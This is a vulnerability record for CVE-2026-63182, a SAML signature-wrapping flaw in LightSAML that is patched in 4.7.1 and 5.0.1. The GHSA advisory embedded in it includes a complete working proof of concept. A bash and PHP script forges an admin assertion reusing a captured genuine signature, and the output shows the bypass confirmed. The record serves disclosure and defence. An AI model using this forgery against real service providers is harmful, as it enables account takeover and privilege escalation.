{"cve_id":"CVE-2026-63182","summary":"LightSAML implements SAML 2.0 data model classes, XML serialization and deserialization, XML security, certificate support, and message bindings. Prior to 4.7.1 and 5.0.1, LightSAML and xmlseclibs disagree about which assertion an inbound SAML signature covers. `Response::deserialize` uses `manyElementsFromXml` to collect only direct-child `saml:Assertion` elements of `samlp:Response`, and `AssertionSignatureValidatorAction` validates their `ds:Signature` using an out-of-band trusted IdP credential resolved by Issuer, not a key from the document. `XMLSecurityDSig::validateReference()` removes the enveloped signature from the shared DOM, but `processRefNode()` resolves `Reference URI=\"#id\"` document-wide through an XPath of the form `//*[@Id]` and takes `item(0)`, which need not be the assertion whose claims LightSAML consumes. An attacker who has captured one genuinely signed assertion, such as an earlier login response, can place its signature-stripped bytes earlier in `samlp:Extensions` and present a forged direct-child assertion with the same ID and copied genuine signature. Validation then covers the hidden genuine bytes while LightSAML surfaces unsigned attacker-controlled `Subject/NameID`, `Conditions`, and `Attributes`, enabling authentication bypass or privilege escalation even when signature validation is required. The behavior was confirmed in versions 5.0.0 and 4.6.1. This issue is fixed in versions 4.7.1 and 5.0.1.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":0.00191,"ranking_epss":0.08792,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2","https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00","https://github.com/litesaml/lightsaml/pull/113","https://github.com/litesaml/lightsaml/pull/122","https://github.com/litesaml/lightsaml/releases/tag/4.7.1","https://github.com/litesaml/lightsaml/releases/tag/5.0.1","https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9","https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9"],"cpes":[],"published_time":"2026-10-30T22:16:58","euvd":{"id":"EUVD-2026-114520","description":"lightsaml allows Signature wrapping bypass","published_time":"2026-11-16T22:08:38","cvss":8.1,"cvss_version":"3.1","epss":0.0019,"assigner":"GitHub_M","references":["https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9","https://github.com/litesaml/lightsaml/pull/113","https://github.com/litesaml/lightsaml/pull/122","https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2","https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00","https://github.com/litesaml/lightsaml/releases/tag/4.7.1","https://github.com/litesaml/lightsaml/releases/tag/5.0.1","https://nvd.nist.gov/vuln/detail/CVE-2026-63182"],"products":["lightsaml","lightsaml"],"vendors":["litesaml"]},"ghsa":{"id":"GHSA-w553-pwx6-3mg9","summary":"lightsaml allows Signature wrapping bypass","details":"### Summary\n\nLightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound `samlp:Response` by collecting its direct-child `saml:Assertion` elements and validating each one's `ds:Signature` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed `Reference URI=\"#id\"` with a document-wide `//*[@Id]` XPath that returns the first ID-bearing element anywhere in the document.\n\nAn attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.\n\n### Details\n\n`Response::deserialize` collects assertions with `manyElementsFromXml`, whose relative XPath `saml:Assertion` matches only direct children of the `Response`. Each collected assertion is validated independently by `AssertionSignatureValidatorAction` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28\n\nThe check delegates to xmlseclibs `XMLSecurityDSig::validateReference()`, which first removes the signature node being validated from the shared document (enveloped-signature removal):\n\n```php\nif (! $docElem->isSameNode($this->sigNode)) {\n    if ($this->sigNode->parentNode != null) {\n        $this->sigNode->parentNode->removeChild($this->sigNode);   // strips sig from shared DOM\n    }\n}\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596\n\n`processRefNode()` then resolves `URI=\"#id\"` document-wide and takes `item(0)`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:\n\n```php\n$query = '//*['.$iDlist.']';\n$dataObject = $xPath->query($query)->item(0);\n```\n\nhttps://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525\n\nSo the digest target xmlseclibs picks (`//*[@Id]` item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:\n\nhttps://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288\n\nAn example attacker buries the genuine signed bytes (the assertion with its `ds:Signature` element stripped) inside `samlp:Extensions`, so it is the first `@Id` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same `ID`, attacker claims, and a verbatim copy of the genuine `ds:Signature`:\n\n```xml\n<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n  <saml:Issuer>https://idp.example.com</saml:Issuer>\n\n  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),\n       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the\n       enveloped+exc-c14n digest target is the assertion sans Signature. -->\n  <samlp:Extensions>\n    <saml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n      <saml:Issuer>https://idp.example.com</saml:Issuer>\n      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>\n      <saml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/>\n      <saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\n    </saml:Assertion>\n  </samlp:Extensions>\n\n  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,\n       verbatim copy of the genuine ds:Signature. -->\n  <saml:Assertion ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n    <saml:Issuer>https://idp.example.com</saml:Issuer>\n    <ds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"> ...byte-for-byte copy of the genuine signature... </ds:Signature>\n    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>\n    <saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>\n    <saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\n  </saml:Assertion>\n</samlp:Response>\n```\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\nWORK=\"$(mktemp -d)\"; trap 'rm -rf \"$WORK\"' EXIT; cd \"$WORK\"\nIDP_ENTITY=\"https://idp.example.com\"; ASSERTION_ID=\"_signed_assertion\"\n\ncomposer require litesaml/lightsaml:5.0.0 --no-interaction --quiet\n\n# trusted IdP key + self-signed cert (out-of-band trust anchor)\nopenssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \\\n  -subj \"/CN=idp.example.com\" >/dev/null 2>&1\n\n# genuine Response with one to-be-signed assertion\ncat > genuine_tmpl.xml <<XML\n<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n                xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n                ID=\"_resp\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n  <saml:Issuer>${IDP_ENTITY}</saml:Issuer>\n  <saml:Assertion ID=\"${ASSERTION_ID}\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">\n    <saml:Issuer>${IDP_ENTITY}</saml:Issuer>\n    <ds:Signature xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\">\n      <ds:SignedInfo>\n        <ds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/>\n        <ds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"/>\n        <ds:Reference URI=\"#${ASSERTION_ID}\">\n          <ds:Transforms>\n            <ds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"/>\n            <ds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"/>\n          </ds:Transforms>\n          <ds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"/>\n          <ds:DigestValue></ds:DigestValue>\n        </ds:Reference>\n      </ds:SignedInfo>\n      <ds:SignatureValue></ds:SignatureValue>\n    </ds:Signature>\n    <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>\n    <saml:Conditions NotBefore=\"2024-01-01T00:00:00Z\" NotOnOrAfter=\"2099-01-01T00:00:00Z\"/>\n    <saml:AttributeStatement>\n      <saml:Attribute Name=\"role\"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>\n    </saml:AttributeStatement>\n  </saml:Assertion>\n</samlp:Response>\nXML\n\n# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)\nxmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \\\n  --id-attr:ID \"urn:oasis:names:tc:SAML:2.0:assertion:Assertion\" \\\n  --output genuine_signed.xml genuine_tmpl.xml >/dev/null\n\n# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,\n# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine\n# signature + attacker claims.\nphp -r '\n$doc = new DOMDocument(); $doc->load(\"genuine_signed.xml\");\n$xp = new DOMXPath($doc);\n$xp->registerNamespace(\"saml\",\"urn:oasis:names:tc:SAML:2.0:assertion\");\n$xp->registerNamespace(\"ds\",\"http://www.w3.org/2000/09/xmldsig#\");\n$resp = $doc->documentElement;\n$genuine = $xp->query(\"//saml:Assertion[@ID=\\\"_signed_assertion\\\"]\")->item(0);\n$copiedSig = $doc->saveXML($xp->query(\"./ds:Signature\", $genuine)->item(0));\n\n// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)\n$buried = $genuine->cloneNode(true);\n$buried->removeChild($xp->query(\"./ds:Signature\", $buried)->item(0));\n\n// forged = copied signature + attacker claims (the only direct-child assertion)\n$forged =\n  \"<saml:Assertion xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_signed_assertion\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2024-01-01T00:00:00Z\\\">\"\n  .\"<saml:Issuer>https://idp.example.com</saml:Issuer>\".$copiedSig\n  .\"<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>\"\n  .\"<saml:Conditions NotBefore=\\\"2040-01-01T00:00:00Z\\\" NotOnOrAfter=\\\"2041-01-01T00:00:00Z\\\"/>\"\n  .\"<saml:AttributeStatement><saml:Attribute Name=\\\"role\\\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>\"\n  .\"</saml:Assertion>\";\n$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);\n\n// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after\n$ext = $doc->createElementNS(\"urn:oasis:names:tc:SAML:2.0:protocol\",\"samlp:Extensions\");\n$ext->appendChild($buried);\n$resp->replaceChild($ext, $genuine);\n$resp->appendChild($frag);\nfile_put_contents(\"tampered.xml\", $doc->saveXML());\n'\n\n# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true\ncat > consumer.php <<'PHP'\n<?php\nrequire __DIR__ . '/vendor/autoload.php';\nuse LightSaml\\Action\\Assertion\\Inbound\\AssertionSignatureValidatorAction;\nuse LightSaml\\Context\\Profile\\{AssertionContext, ProfileContext};\nuse LightSaml\\Credential\\{UsageType, X509Certificate, X509Credential};\nuse LightSaml\\Context\\Model\\DeserializationContext;   // moved from Model\\Context in 5.0.0\nuse LightSaml\\Model\\Protocol\\SamlMessage;\nuse LightSaml\\Resolver\\Credential\\Factory\\CredentialResolverFactory;\nuse LightSaml\\Store\\Credential\\StaticCredentialStore;\nuse LightSaml\\Validator\\Model\\Signature\\SignatureValidator;\nuse Psr\\Log\\NullLogger;\n\n[$_, $xmlPath, $certPath, $idpEntityId] = $argv;\n$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath));   // pinned trust anchor\n$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);\n$store = new StaticCredentialStore(); $store->add($cred);\n$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());\n$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true\n\n$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());\n$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);\n$bypass = false;\necho \"assertions LightSaml collected: \" . count($message->getAllAssertions()) . \"\\n\";\nforeach ($message->getAllAssertions() as $i => $a) {\n    $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';\n    $attrs = [];\n    foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)\n        $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));\n    echo \"ASSERTION #$i  NameID=$nameId  Attributes=\".json_encode($attrs).\"\\n\";\n    $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);\n    try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }\n    echo \"  LightSaml validation: $r\\n\";\n    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {\n        $bypass = true; echo \"  >>> BYPASS: forged assertion validated AND attacker claims surfaced\\n\";\n    }\n}\necho $bypass ? \"RESULT: BYPASS CONFIRMED\\n\" : \"RESULT: no bypass\\n\";\nexit($bypass ? 0 : 1);\nPHP\n\nphp consumer.php tampered.xml idp_cert.pem \"$IDP_ENTITY\"\n```\n\nObserved output:\n\n```\nassertions LightSaml collected: 1\nASSERTION #0  NameID=attacker@evil.com  Attributes={\"role\":\"admin\"}\n  LightSaml validation: ACCEPTED\n  >>> BYPASS: forged assertion validated AND attacker claims surfaced\nRESULT: BYPASS CONFIRMED\n```\n\n### Impact\n\nAuthentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.","published_time":"2026-11-16T22:08:38Z","modified_time":"2026-11-16T22:08:38Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}],"affected":[{"package":{"ecosystem":"Packagist","name":"litesaml/lightsaml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"5.0.1"}]}]},{"package":{"ecosystem":"Packagist","name":"litesaml/lightsaml"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.7.1"}]}]}],"references":[{"type":"WEB","url":"https://github.com/litesaml/lightsaml/security/advisories/GHSA-w553-pwx6-3mg9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63182"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/pull/113"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/pull/122"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/commit/230e62d1325f2cbcaac814b78409775f7a8806a2"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/commit/3af82bf2f3865e6aafeeb1a97c97b383b8bb7b00"},{"type":"PACKAGE","url":"https://github.com/litesaml/lightsaml"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/releases/tag/4.7.1"},{"type":"WEB","url":"https://github.com/litesaml/lightsaml/releases/tag/5.0.1"}],"cwe_ids":["CWE-347"],"github_severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-16T22:08:38Z"}}